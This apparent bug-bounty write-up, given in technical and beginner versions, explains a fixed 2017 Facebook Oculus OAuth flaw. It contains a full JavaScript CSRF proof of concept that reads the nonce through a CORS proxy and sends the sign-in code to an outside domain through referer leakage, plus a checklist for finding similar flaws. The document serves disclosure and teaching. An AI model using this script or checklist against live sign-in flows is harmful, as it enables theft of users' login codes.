Steal Oculus Nonce and Oauth Flow Bypass
The OAuth flow for Facebook's Oculus login used a nonce as a CSRF token, but the nonce could be read through a public CORS proxy, and the redirect_uri could be manipulated to leak the OAuth response code to an attacker-controlled domain via referer leakage. An attacker could bypass both protections and steal the victim's Oculus login code.
medium.com
Published on medium.com
Oauth
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Facebook added an OAuth login flow for Oculus, so a user could sign in to Oculus with a Facebook account. The authorisation endpoint lives on Facebook and the redirect target is https://auth.oculus.com/login/. What caught the researcher's attention was a nonce parameter in the authorisation URL, something he had not seen in other OAuth flows.
According to the write-up, the nonce acts as a CSRF token: if the nonce value does not match, the OAuth request is aborted and the redirect_uri is not followed. The goal of the research was therefore twofold: bypass the nonce and bypass the redirect_uri restriction.
Setup
The write-up does not describe any particular account setup, tooling or versions beyond the OAuth request itself, which uses v2.8 of the Facebook dialog endpoint. To reproduce the bug, the victim has to be logged in to both Facebook and Oculus, because the redirect_uri only works when the user is logged into their Oculus account.
Finding it
The starting point was the OAuth authorisation URL for Facebook Oculus:
Request:
https://www.facebook.com/v2.8/dialog/oauth?app_id=1517832211847102&client_id=1517832211847102&domain=auth.oculus.com&locale=en_GB&origin=1&redirect_uri=https://auth.oculus.com/login/&response_type=code&sdk=joey&version=v2.8&nonce=AXRr8eBAjDTBkzQ7&state=d916afa3-3dc1-bab7-fc9d-3c8f44bf757
Response:
https://auth.oculus.com/login/?code=AQDtxcP7I--AWqEvE-LjcPIjkimy7Z-[redacted]-HwqbvlE-[redacted],lonbrqie5fdwjD-[redacted]&state=d916afa3-3dc1-bab8-fc9d-3c8f44bfe7b7#_=_
The response carries the authorisation code back to auth.oculus.com/login/, together with the state value. The nonce acts as a CSRF token: a request with a mismatched nonce is aborted and the redirect is not followed.

The researcher had two challenges in front of him: bypass the nonce and bypass the redirect_uri. Bypassing the nonce was not easy, and after some testing he reports zero progress.
Exploitation
Step 1: Bypass the nonce with a CORS proxy
Searching online led him to CORS proxies, free services for developers that bypass the same-origin policy for AJAX requests to third-party services. The write-up lists several:
https://robwu.nl/cors-anywhere.htmlhttps://crossorigin.me/http://cors.now.sh/
When the OAuth URL was passed through such a proxy, the proxy responded with the source code of the given URL. Searching that source for the nonce, the researcher found that the nonce value in the real request and the nonce value returned through the CORS request were the same. The nonce value returned through the CORS request was the same as in the real request.
Step 2: Bypass the redirect_uri with referer leakage
With the nonce out of the way, the next step was the redirect_uri. The researcher describes this as easier than expected. The following URL redirects the response code to his app domain using referer leakage:
https://auth.oculus.com/login/?redirect_uri=https://www.facebook.com/dialog/send?client_id=1933886253534366&next=https://www.whatismyreferer.com&from_post=1&error_ok=OK
Step 3: Combine both into a one-click CSRF POC
To reproduce the whole process with a single click, the researcher wrote a CSRF POC. The code first makes a CORS request and extracts the nonce value from the source code, then combines the final URL with the nonce in window.location and makes the request:
var Cors_URL = "https://crossorigin.me/https://www.facebook.com/v2.8/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login/&response_type=code"; var Final_url = "https://www.facebook.com/v2.8/dialog/oauth?app_id=1517832211847102&response_type=code&redirect_uri=https://auth.oculus.com/login/?redirect_uri=https://www.facebook.com/dialog/send?client_id=1933886253534366%2526next%253Dhttps://www.whatismyreferer.com%2526from_post%253D1%2526error_ok%253DOK&nonce="; var xhttp = new XMLHttpRequest(); xhttp.open("GET", Cors_URL , true); xhttp.send(); xhttp.onload = function() { var str = xhttp.response.split("nonce=")[1]; var nonce = str.split("&")[0]; if (nonce.length == 0){ alert("Sorry! nonce not found.."); } else { alert("nonce : " + nonce); Final_url = Final_url + nonce ; window.location = Final_url ; } }; xhttp.onerror = function() { alert("Please try again."); };
The script requests the authorisation URL through crossorigin.me, splits the response on nonce= and takes the value up to the next &. If no nonce is found it alerts the user; otherwise it appends the nonce to Final_url and navigates the browser there. The redirect_uri in Final_url is the Oculus login page with a nested redirect_uri pointing at https://www.facebook.com/dialog/send, whose next parameter points at https://www.whatismyreferer.com, with the nested parameters double-encoded (%2526, %253D).
The write-up also references a video POC, but the text does not describe its contents.
Root cause
The nonce was meant to act as a CSRF token, but the same nonce value could be obtained through a CORS proxy. On top of that, a URL with a nested redirect_uri pointing at a Facebook endpoint with a next parameter redirected the response code to the researcher's app domain using referer leakage. The write-up does not go into the server-side implementation, so the exact reason the nonce was readable through the proxy is not stated.
Impact
The nonce could be bypassed and the Oculus response_code stolen, redirected to the researcher's app domain. The attack requires the victim to be logged in to both Facebook and Oculus, since the redirect_uri only works when the user is logged into their Oculus account. The write-up does not describe what the stolen code could then be exchanged for.
Fix
Facebook fixed both issues: the leakage of the nonce value through the CORS proxy and the redirect_uri in Oculus pointing to Facebook.
Timeline:
| Date | Event |
|---|---|
| 30 June 2017 | Report sent |
| 6 July 2017 | Facebook responded that it could not reproduce the issue |
| 6 July 2017 | Additional details provided by the researcher |
| 1 August 2017 | Further investigation by Facebook |
| 10 August 2017 | Fixed by Facebook |
| 14 August 2017 | $10,000 bounty awarded by Facebook |

Variants to test
- Look for OAuth authorisation pages that echo the
nonceorstateinto a response readable cross-origin, for example through a permissive CORS header or a proxy-friendly page. A positive result is a cross-origin request that returns the same nonce value as the real authorisation request. - Test
redirect_urivalues that nest anotherredirect_urior anextparameter pointing at a forwarding endpoint. A positive result is the authorisation code arriving at a domain you control. - Check whether the
redirect_urivalidation applies to the outer value only and not to nested parameters, including double-encoded ones (%2526,%253D). A positive result is a redirect chain that ends outside the allowed domain. - Test whether the flow requires the victim to be logged in to the identity provider and the relying party, and whether that condition can be met silently. A positive result is a one-click POC that completes without user interaction beyond visiting the page.
What happened, in plain words
Facebook added a way to sign in to Oculus using a Facebook account. This kind of sign-in is called OAuth: instead of creating a new password for every website, you tell one website (here Facebook) to vouch for you to another website (here Oculus). The researcher noticed a parameter called nonce in the sign-in URL, something he had not seen in other OAuth flows, and started digging.
What he found was that the nonce value returned through a third-party CORS proxy was the same as in the real request. He also found a URL that redirected the sign-in result (the response_code) to his app domain using referer leakage. Together, those two weaknesses meant the code that represents a user's Oculus sign-in could be stolen.
This article walks through the same steps the researcher took, explaining each concept from scratch. You only need a browser and some curiosity to follow along.
Background: what OAuth is and why the nonce matters
The everyday comparison
Imagine a hotel. You want to get into a friend's room, but you do not have a key. Your friend calls the front desk and says "let this person in". The front desk gives you a temporary key card. OAuth works a bit like that: Oculus asks Facebook "is this person really who they say they are?", Facebook says yes and hands back a short-lived code, and Oculus exchanges that code for access.
The pieces of the flow
- OAuth: an open standard that lets one website (the identity provider, here Facebook) confirm your identity to another website (the relying party, here Oculus) without sharing your password.
- Authorisation URL: the web address your browser is sent to when you click "Sign in with Facebook". It contains a list of parameters that tell Facebook what is being asked.
redirect_uri: the address Facebook should send you back to once it has decided who you are. In this flow it ishttps://auth.oculus.com/login/.response_type=code: tells Facebook that the answer should be a short code, not the user's data directly.code(also calledresponse_code): the short-lived value Facebook hands back. Oculus then swaps it for an access token behind the scenes.state: a random value the requesting site makes up and checks when the user comes back, to make sure the reply belongs to the request it started.nonce: another random value, used to tie a request to a particular browser session. In this flow, according to the write-up, it acts as a CSRF token.- CSRF (Cross-Site Request Forgery): an attack where a malicious website makes your browser send a request to another site where you are already logged in, without you meaning to. A CSRF token is a secret value the attacker's page cannot guess, so the request it forges is rejected.
According to the write-up, if the nonce value does not match, the OAuth request is aborted and the redirect_uri is not followed. That is exactly what a CSRF token is for.
So the researcher had two challenges in front of him:
- Bypass the nonce.
- Bypass the
redirect_urirestriction.
The starting point: the sign-in request
The researcher began with the OAuth authorisation URL for Facebook Oculus:
Request:
https://www.facebook.com/v2.8/dialog/oauth?app_id=1517832211847102&client_id=1517832211847102&domain=auth.oculus.com&locale=en_GB&origin=1&redirect_uri=https://auth.oculus.com/login/&response_type=code&sdk=joey&version=v2.8&nonce=AXRr8eBAjDTBkzQ7&state=d916afa3-3dc1-bab7-fc9d-3c8f44bf757
Response:
https://auth.oculus.com/login/?code=AQDtxcP7I--AWqEvE-LjcPIjkimy7Z-[redacted]-HwqbvlE-[redacted],lonbrqie5fdwjD-[redacted]&state=d916afa3-3dc1-bab8-fc9d-3c8f44bfe7b7#_=_
Line by line
The request:
https://www.facebook.com/v2.8/dialog/oauthis the Facebook endpoint that handles the sign-in dialog.v2.8is the version of the Facebook API being used.app_id=1517832211847102andclient_id=1517832211847102identify which application is asking. Here it is the Oculus application.domain=auth.oculus.comtells Facebook which domain the request belongs to.locale=en_GBasks for British English in the pages shown to the user.origin=1andsdk=joeyare extra parameters the Facebook software development kit sends along.redirect_uri=https://auth.oculus.com/login/is where Facebook should send the user afterwards.response_type=codeasks for a code back, as described above.version=v2.8repeats the API version.nonce=AXRr8eBAjDTBkzQ7is the random check value that ties the request to the user's session.state=d916afa3-3dc1-bab7-fc9d-3c8f44bf757is the value Oculus will check when the user comes back.
The response:
- The browser is sent to
https://auth.oculus.com/login/, the Oculus login page. ?code=...carries the authorisation code back. The long string aftercode=is the value that represents the sign-in.&state=d916afa3-3dc1-bab8-fc9d-3c8f44bfe7b7returns the state value so Oculus can confirm the reply belongs to its own request.#_=_is a fragment at the end of the URL, a leftover marker Facebook adds to some redirects.

This screenshot shows the real Oculus response code, the value the researcher was after.
Step 1: Bypass the nonce with a CORS proxy
The problem
The nonce is meant to be unguessable. The researcher tried various things to get around it and, in his words, made zero progress.
The idea: CORS proxies
Searching online led him to CORS proxies. To understand why that helps, you need two ideas:
- Same-origin policy: a rule built into every browser. A page loaded from one website is not allowed to read the contents of a response from a different website. Without it, any page you visit could quietly read your webmail. "Origin" here means the combination of protocol, host and port, for example
https://example.com. - AJAX request: a request a page makes in the background, without reloading the whole page, usually through a JavaScript object called
XMLHttpRequest.
The same-origin policy means a page on the attacker's site cannot simply fetch the Facebook authorisation page and read the nonce out of it. A CORS proxy is a free service that sits in the middle: your page asks the proxy, the proxy fetches the target page on its own server, and the proxy sends the content back with headers that tell the browser "this is fine to read". It exists to help developers, but it also removes the same-origin protection for anyone who uses it.
The write-up lists several such services:
https://robwu.nl/cors-anywhere.htmlhttps://crossorigin.me/http://cors.now.sh/
The discovery
When the researcher passed the OAuth URL through one of these proxies, the proxy responded with the source code of the given URL. He searched that source code for the nonce, and found that the nonce value in the real request and the nonce value returned through the CORS request were the same.
That is the bypass: the nonce value obtained through the proxy matched the one in the real request.
Step 2: Bypass the redirect_uri with referer leakage
With the nonce out of the way, the next challenge was the redirect_uri. Oculus should only send the code back to an address it trusts. The researcher describes this part as easier than he expected. The following URL redirects the response code to his app domain using referer leakage:
https://auth.oculus.com/login/?redirect_uri=https://www.facebook.com/dialog/send?client_id=1933886253534366&next=https://www.whatismyreferer.com&from_post=1&error_ok=OK
Line by line
https://auth.oculus.com/login/is the Oculus login page, the trusted destination.?redirect_uri=starts the nested address. Instead of pointing at the researcher's own site directly, it points at a Facebook page:https://www.facebook.com/dialog/send.client_id=1933886253534366identifies the Facebook application used in that nested request.next=https://www.whatismyreferer.comtells the Facebook page where to send the user afterwards.whatismyreferer.comis a site that shows you the address of the page you came from.from_post=1anderror_ok=OKare extra parameters for that Facebook page.
What referer leakage means
When your browser follows a link from one page to another, it usually sends a Referer header along with the request. That header says which page you came from. If the page you land on is controlled by an attacker, the attacker can read that header and learn the address of the page you came from, including any secret values in it.
The URL redirects the response code to the researcher's app domain using referer leakage. The code therefore leaks to a domain outside Oculus's control.
Step 3: Combine both into a one-click CSRF POC
To reproduce the whole process with a single click, the researcher wrote a CSRF POC. A POC, or proof of concept, is a small demonstration that shows a bug is real. The code first makes a CORS request and extracts the nonce value from the source code, then combines the final URL with the nonce in window.location and makes the request:
var Cors_URL = "https://crossorigin.me/https://www.facebook.com/v2.8/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login/&response_type=code"; var Final_url = "https://www.facebook.com/v2.8/dialog/oauth?app_id=1517832211847102&response_type=code&redirect_uri=https://auth.oculus.com/login/?redirect_uri=https://www.facebook.com/dialog/send?client_id=1933886253534366%2526next%253Dhttps://www.whatismyreferer.com%2526from_post%253D1%2526error_ok%253DOK&nonce="; var xhttp = new XMLHttpRequest(); xhttp.open("GET", Cors_URL , true); xhttp.send(); xhttp.onload = function() { var str = xhttp.response.split("nonce=")[1]; var nonce = str.split("&")[0]; if (nonce.length == 0){ alert("Sorry! nonce not found.."); } else { alert("nonce : " + nonce); Final_url = Final_url + nonce ; window.location = Final_url ; } }; xhttp.onerror = function() { alert("Please try again."); };
Line by line
var Cors_URL = ...builds the address the script will ask the CORS proxy for. It is the proxyhttps://crossorigin.me/followed by the Facebook authorisation URL. The proxy fetches that URL and returns its content.var Final_url = ...builds the address the victim's browser will finally be sent to. It is the Facebook authorisation URL with a nestedredirect_urithat points athttps://auth.oculus.com/login/, which in turn has its ownredirect_uripointing athttps://www.facebook.com/dialog/send, whosenextparameter points athttps://www.whatismyreferer.com. The nested parameters are double-encoded:%2526is the encoded form of&, and%253Dis the encoded form of=. Encoding them twice means the inner values survive being passed through the outer URL without being treated as separators.var xhttp = new XMLHttpRequest();creates the background request object.xhttp.open("GET", Cors_URL , true);prepares a GET request to the proxy address. Thetruemeans it runs asynchronously, so the page does not freeze while waiting.xhttp.send();sends the request.xhttp.onload = function() { ... };says what to do when the response arrives.var str = xhttp.response.split("nonce=")[1];takes the response text and splits it atnonce=. The part after the firstnonce=is the nonce followed by more text.var nonce = str.split("&")[0];cuts that part at the next&, leaving just the nonce value.if (nonce.length == 0){ alert("Sorry! nonce not found.."); }handles the case where no nonce was found.else { alert("nonce : " + nonce); Final_url = Final_url + nonce ; window.location = Final_url ; }shows the nonce, appends it to the final URL, and sends the browser there.xhttp.onerror = function() { alert("Please try again."); };handles a failed request.
The write-up also references a video POC, but the text does not describe its contents.
What the victim needs
To reproduce this bug the victim should be logged in to both Facebook and Oculus, because the redirect_uri only works when the user is logged into their Oculus account.
Why it worked
The nonce was meant to act as a CSRF token, but the same nonce value could be obtained through a CORS proxy.
On top of that, a URL with a nested redirect_uri pointing at a Facebook endpoint with a next parameter redirected the response code to the researcher's app domain using referer leakage. The write-up does not go into the server-side implementation, so the exact reason the nonce was readable through the proxy is not stated.
What an attacker could do
The nonce could be bypassed and the Oculus response_code stolen, redirected to the researcher's app domain. The attack requires the victim to be logged in to both Facebook and Oculus, since the redirect_uri only works when the user is logged into their Oculus account. The write-up does not describe what the stolen code could then be exchanged for.
The fix
Facebook fixed both issues: the leakage of the nonce value through the CORS proxy and the redirect_uri in Oculus pointing to Facebook.
Timeline:
| Date | Event |
|---|---|
| 30 June 2017 | Report sent |
| 6 July 2017 | Facebook responded that it could not reproduce the issue |
| 6 July 2017 | Additional details provided by the researcher |
| 1 August 2017 | Further investigation by Facebook |
| 10 August 2017 | Fixed by Facebook |
| 14 August 2017 | $10,000 bounty awarded by Facebook |

This image shows the timeline of the report, from submission to the bounty award.
Things to try if you are learning
- Look for OAuth authorisation pages that echo the
nonceorstateinto a response readable cross-origin, for example through a permissive CORS header or a proxy-friendly page. A positive result is a cross-origin request that returns the same nonce value as the real authorisation request. - Test
redirect_urivalues that nest anotherredirect_urior anextparameter pointing at a forwarding endpoint. A positive result is the authorisation code arriving at a domain you control. - Check whether the
redirect_urivalidation applies to the outer value only and not to nested parameters, including double-encoded ones (%2526,%253D). A positive result is a redirect chain that ends outside the allowed domain. - Test whether the flow requires the victim to be logged in to the identity provider and the relying party, and whether that condition can be met silently. A positive result is a one-click POC that completes without user interaction beyond visiting the page.
Glossary
- OAuth: an open standard that lets one website confirm your identity to another without sharing your password.
- Identity provider: the website that vouches for who you are, here Facebook.
- Relying party: the website that trusts the identity provider, here Oculus.
- Authorisation URL: the web address your browser is sent to when you start an OAuth sign-in.
- Parameter: a named value in a URL, written as
name=valueand separated from the next one by&. redirect_uri: the address the identity provider sends the user back to after sign-in.response_type=code: a parameter asking the identity provider to return a short code rather than user data.code/response_code: the short-lived value the identity provider hands back, which the relying party exchanges for access.state: a random value the relying party makes up and checks on return, to confirm the reply belongs to its own request.nonce: a random value used to tie a request to a particular browser session.- CSRF (Cross-Site Request Forgery): an attack where a malicious site makes your browser send a request to a site where you are logged in, without you meaning to.
- CSRF token: a secret value that a forged request cannot guess, so the server can reject it.
- Same-origin policy: a browser rule that stops a page from one website reading responses from a different website.
- Origin: the combination of protocol, host and port that identifies a website, for example
https://example.com. - AJAX request: a background request a page makes without reloading itself, usually through
XMLHttpRequest. - CORS proxy: a service that fetches a page on your behalf and returns it with headers that let your page read it, bypassing the same-origin policy.
- Referer header: a header the browser sends with a request that says which page the request came from.
- Referer leakage: when a secret value in a URL is exposed to another site through the Referer header.
- POC (proof of concept): a small demonstration that shows a bug is real.
- API: a defined way for one piece of software to talk to another, usually over the web with URLs and parameters.
- Bounty: a reward paid by a company to someone who reports a security bug responsibly.